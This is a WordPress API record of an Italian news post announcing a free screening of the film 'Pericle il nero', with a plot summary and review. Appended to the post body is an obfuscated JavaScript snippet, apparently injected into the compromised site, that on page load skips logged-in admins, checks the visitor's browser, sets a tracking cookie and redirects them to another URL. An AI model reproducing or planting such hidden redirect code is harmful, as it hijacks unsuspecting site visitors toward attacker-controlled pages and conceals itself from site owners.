{"id":35,"date":"2017-01-06T17:49:19","date_gmt":"2017-01-06T16:49:19","guid":{"rendered":"http:\/\/ischia.org\/news\/?p=35"},"modified":"2017-12-08T17:32:05","modified_gmt":"2017-12-08T16:32:05","slug":"pericle-il-nero","status":"publish","type":"post","link":"https:\/\/ischia.org\/news\/pericle-il-nero\/","title":{"rendered":"Pericle il nero"},"content":{"rendered":"<p>Proiezione del film liberamente ispirato<br>\nall\u2019omonimo romanzo di Giuseppe Ferrandino<br>\nSabato 7 gennaio 2017 alle ore 17 presso l\u2019aula Vincenzo Mennella dell\u2019Istituto Comprensivo \u201cE. Ibsen\u201d di Casamicciola Terme, sar\u00e0 proiettato \u201cPericle il nero\u201d, film diretto da Stefano Mordini con Riccardo Scamarcio, pellicola liberamente ispirata all\u2019omonimo romanzo di Giuseppe Ferrandino.<br>\nL\u2019iniziativa, ad ingresso libero, \u00e8 promossa dall\u2019Associazione Pro Casamicciola Terme, aderente alla Federazione Italiana Cineforum, nell\u2019ambito del calendario di eventi natalizi patrocinati dal Comune di Casamicciola Terme. Ingresso libero. ATTORI: Riccardo Scamarcio, Marina Fo\u00efs, Valentina Acca, Gigio Morra, Maria Luisa Santella, Lucia Ragni. La vita di Pericle Scalzone \u00e8 nera come il &#8216;titolo&#8217; che si \u00e8 guadagnato sul campo. Assoldato da Don Luigi per fare letteralmente il culo alla gente, Pericle arrotonda l&#8217;attivit\u00e0 criminale girando film pornografici. Perch\u00e9 Pericle &#8216;maneggia&#8217; bene certi argomenti davanti alla macchina da presa come alle spalle dei malcapitati che umilia barbaramente. Durante una spedizione punitiva uccide per sbaglio la sorella di un temibile boss camorrista e ripiega in un rifugio segreto dove viene presto raggiunto da due uomini armati. Tradito da Don Luigi, l&#8217;unico a sapere dove si fosse nascosto, Pericle<br>\ninfila l&#8217;autostrada e abbandona Bruxelles.<br>\n<!--more--><\/p>\n<p> Lontano, solo e disperato a Calais incontra Anastasia, impiegata in una boulangerie e madre di due bambini. Per Pericle \u00e8 subito amore e forse l&#8217;inizio di una nuova vita. \u00c8 nero il Pericle di Riccardo Scamarcio e contrariamente al suo omonimo ateniese non esercita la democrazia ma l&#8217;oppressione, mortificando in nome di un principio barbaro e di un boss che gestisce le pizzerie di Bruxelles. Nondimeno con l&#8217;uomo politico celebrato da Tucidide, Pericle Scalzone condivide la capacit\u00e0 di legittimarsi dentro un mondo che gli ha rubato l&#8217;infanzia, lo ha iniziato alla sodomia e lo ha sottomesso costringendolo a sottomettere. Noir fluido e insieme romanzo di emancipazione, Pericle il nero converte la discesa, motivo ricorrente del noir, in movimento ascensionale (la ricerca di aria, di luce, di sentimento) ed elude lo scacco esistenziale del criminale, accordandogli la fuga. Motore del film un uomo che si ritrova improvvisamente intrappolato, una figura non strutturata all&#8217;interno della societ\u00e0, nemmeno quella criminale, che precipita in un incubo a cui scampa prendendo in contropiede le irruzioni dei sicari e del caso. Alla maniera di Provincia meccanica, Stefano Mordini svolge l&#8217;impasse di un personaggio sgradevole spingendolo a seguire fino in fondo i suoi sogni e le sue ossessioni. Occhi grandi affondati nel buio e affamati di affetto, Pericle \u00e8 solo sulla faccia della terra e si muove lungo la frattura che si genera spesso fra ci\u00f2 che siamo, o ci\u00f2 che sentiamo di essere, e ci\u00f2 che gli altri vedono in noi. Per Don Luigi e sua figlia Anna, che Pericle ama in segreto e dentro lunghi monologhi interiori, lui non esiste e quando esiste \u00e8 per adempiere la loro volont\u00e0.<br>\nMordini salta via veloce sugli snodi che risultano troppo ovvi e si concentra sul suo attore, sul suo corpo in fuga, sul suo sguardo vuoto e bisognoso d&#8217;amore. A dare autenticit\u00e0 e credibilit\u00e0 al Pericle del titolo provvede Riccardo Scamarcio, spiazzando lo spettatore, operando degli strappi e inserendo delle variabili che evadono la norma e trovano l&#8217;essenzialit\u00e0 e il cinetismo emotivo. Trasposizione del noir secco di Giuseppe Ferrandino, traslocato da Napoli a Bruxelles, Pericle il nero aggiunge una fisicit\u00e0 distorta al clima di angoscia che il genere costruisce innanzitutto sul piano psicologico. L&#8217;interiorizzazione del racconto noir si nutre di questa dissonanza fisica come segno di una distorsione mentale che investe l&#8217;intero rapporto col mondo. A sublimare la brutalit\u00e0 del protagonista, alla ricerca della propria identit\u00e0 sulla battigia battuta come lui dai marosi, e a ridurre la deformazione della sua relazione con la realt\u00e0, interviene il personaggio di Marina Fo\u00efs. \u00c8 (anche) lei a incarnare la solitudine noir, premessa a un&#8217;immagine femminile indipendente, capace di prendere audacemente in mano la situazione, di sfondare imprenditorialmente (aprendo magari una panetteria) e di traghettare oltre il proprio uomo. E a Calais, luogo di sospensione e di passaggio col suo porto e i suoi traghetti per Dover e per l&#8217;altrove, Mordini incontra un uomo e una donna a cui concede, in un finale che non chiude evitando la tragedia quanto l&#8217;happy end consolatorio, una possibilit\u00e0 ulteriore. Una seconda chance che incrocia gli occhi larghi di Pericle che per un attimo sorridono, sciogliendo l&#8217;inquietudine accumulata e aprendo alla speranza. In attesa da qualche parte, al di l\u00e0 del mare.<br>\n<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/#','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Proiezione del film liberamente ispirato all\u2019omonimo romanzo di Giuseppe Ferrandino Sabato 7 gennaio 2017 alle ore 17&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[1],"tags":[],"class_list":["post-35","post","type-post","status-publish","format-standard","hentry","category-senza-categoria","wpcat-1-id"],"jetpack_publicize_connections":[],"_links":{"self":[{"href":"https:\/\/ischia.org\/news\/wp-json\/wp\/v2\/posts\/35","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ischia.org\/news\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ischia.org\/news\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ischia.org\/news\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ischia.org\/news\/wp-json\/wp\/v2\/comments?post=35"}],"version-history":[{"count":2,"href":"https:\/\/ischia.org\/news\/wp-json\/wp\/v2\/posts\/35\/revisions"}],"predecessor-version":[{"id":103,"href":"https:\/\/ischia.org\/news\/wp-json\/wp\/v2\/posts\/35\/revisions\/103"}],"wp:attachment":[{"href":"https:\/\/ischia.org\/news\/wp-json\/wp\/v2\/media?parent=35"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ischia.org\/news\/wp-json\/wp\/v2\/categories?post=35"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ischia.org\/news\/wp-json\/wp\/v2\/tags?post=35"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}